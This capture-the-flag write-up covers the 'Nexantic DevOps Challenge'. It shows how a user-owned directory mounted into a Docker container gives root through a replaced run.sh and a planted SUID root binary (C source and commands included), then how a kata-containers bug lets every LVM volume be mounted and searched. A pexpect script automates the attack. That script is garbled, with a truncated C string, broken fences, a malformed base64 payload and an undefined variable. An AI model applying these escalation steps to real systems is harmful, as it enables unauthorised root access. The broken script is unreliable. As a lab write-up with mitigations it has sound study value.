

# 5224 Nexantic DevOps Challenge

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## 1 Explanation (Quick and Dirty)

We are provided with a ssh connection to a server in a network. There is just one interesting file in our home directory. (build.sh) This executes the script /work/run.sh in a docker container which 'mounts' /opt/build-input to /work.

The directory /opt/build-input is owned by our user, therefore we can just move the run.sh script and replace it by our own.

run.sh

```
#!/bin/bash
bash
```

This allows us to spawn a shell in the docker container by executing 'build.sh'. We are now root in that container and can write a simple suid program to /work. I compiled it on my machine and copied it over to the remote machine.

rootme.c

```
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
void main()
{
    setuid(0);
    const char* cmd = "/bin/bash";
    system(cmd);
}
```

commands

```
on my machine:
gcc -o rootme rootme.c
base64 rootme | clip.exe #this copies the output to the clipboard
on the remote machine:
cat <<:"q">>/work/out
#now paste the clipboard
:q
```

```
#the file /work/out contains our base64 encoded binary
base64 -d /work/out > /work/rootme #decodes the file
chown root /work/rootme
chmod +s+x /work/rootme #to set the suid bit and make it executable
exit #stop the docker
/opt/build-input/rootme
#and we are root
cat /flag #to get the flag
```

As soon as we are root we can read the flag.

## 2 One Bug to rule them all

**Disclaimer:** This is not the intended solution and I will try to solve it by the intended one if I have some spare time just for fun.

And after that we can get all other flags due to a bug in the kata-containers, which allowed to mount all lvm-volumes. <https://github.com/kata-containers/runtime/issues/1568>

commands

```
mount /dev/dm-1 /mnt
grep -r "STAGE2_" /mnt
grep -r "FINAL_" /mnt
umount /mnt
mount /dev/dm-2 /mnt
grep -r "STAGE2_" /mnt
grep -r "FINAL_" /mnt
umount /mnt
mount /dev/dm-3 /mnt
grep -r "STAGE2_" /mnt
grep -r "FINAL_" /mnt
umount /mnt
...
```

And we should get all flags...

## 3 Code

Here is a python script which automates the first stage.

stage1.py

```
import pexpect
k = "ssh 00000000d73ca17577d58485@broker.cscg19.nexantic.net"
c = pexpect.spawn(k)
c.expect('.*$.*', timeout=None)
print("JO")
c.sendline('mv /opt/build-input/run.sh /opt/build-input/run.sh.bak')
c.expect('.*$.*', timeout=None)
def write(content, to,d):
    c.sendline('cat <<:"q" >> %s'%to)
    for j in content.splitlines():
        c.expect('>', timeout=None)
        c.sendline(j)
    c.sendline(":q")
    c.expect('.*%s.*'%(d), timeout=None)
script='''#!/bin/bash
bash'''
write(script, '/opt/build-input/run.sh','$')
c.sendline("chmod +x /opt/build-input/run.sh")
c.expect('.*$.*', timeout=None)
c.sendline("./build.sh")
c.expect('.*$.*', timeout=None)

'''
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
void main()
{
```





```

AAAAAAgAAAAAAAAA1QAAAA8AAADAAAAAAAAA0ANIAAAAAA4AOAAAAAAAAIAAAAAAAAAAAAA
AAAACAAAAAAAAAAIAAAAAAAAAOEAAAAABAAAAAwAAAAAAAAADoDSAAAAAAAAOgNAAAAAAAACAAAAA
AAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAADmAAAAABgAAAAMAAAAAAAAAA8AOgAAAAAADwDQAAAA
AOABAAAAAAABgAAAAAAAAAIAAAAAAAAAABAAAAAAAmAAAAAEAAAAADAAAAAAAAANAPIAAAAAA
OASAAAAAAAwAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAO8AAAAABAAAAAwAAAAAAAA
ECAAAAAAAAAQAIAAAAAAKAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAD4AAAAAQAAAAA
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AAIAAAAAAAAAABgAAAAAAAAACQAAAAAIAAAAAAAAAAAAAAAAAAAAA4BYAAAAABBFagAAAAAA
AAAAAAAAAAAAQAIAAAAAAAAAAAAAAAAAABEAAAAADAAAAAAAAAAAAAAAAAAAACUZAAAAAA
DAEAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=
,,,
write(payload,'/work/tmp','#')
c.sendline('base64 -d /work/tmp > /work/rootme')
c.expect('.*#.*',timeout=None)
c.sendline('rm -rf /work/tmp')
c.expect('.*#.*',timeout=None)
c.sendline('chown root /work/rootme')
c.expect('.*#.*',timeout=None)
c.sendline('chmod +s+x /work/rootme')
c.expect('.*#.*',timeout=None)
c.sendline('exit')
c.expect('.*$.*',timeout=None)
c.sendline('/opt/build-input/rootme')
c.interact()

```

## 4 Flags

STAGE1\_ahpeeHahy7aingeasahr6  
 STAGE2\_Aicoh1eHinitei5ol6cee8oo  
 FINAL\_sahl0ieZ6oojai2sho5oo

## 5 Mitigation

The first problem can be fixed by setting the owner of /opt/build-input to root.  
AND mounting the directory as readonly.

The second problem (which was an unintended bug as mentioned by the challenge author) can be fixed by not attaching all host-devices to the vm. The challenge VM is already fixed.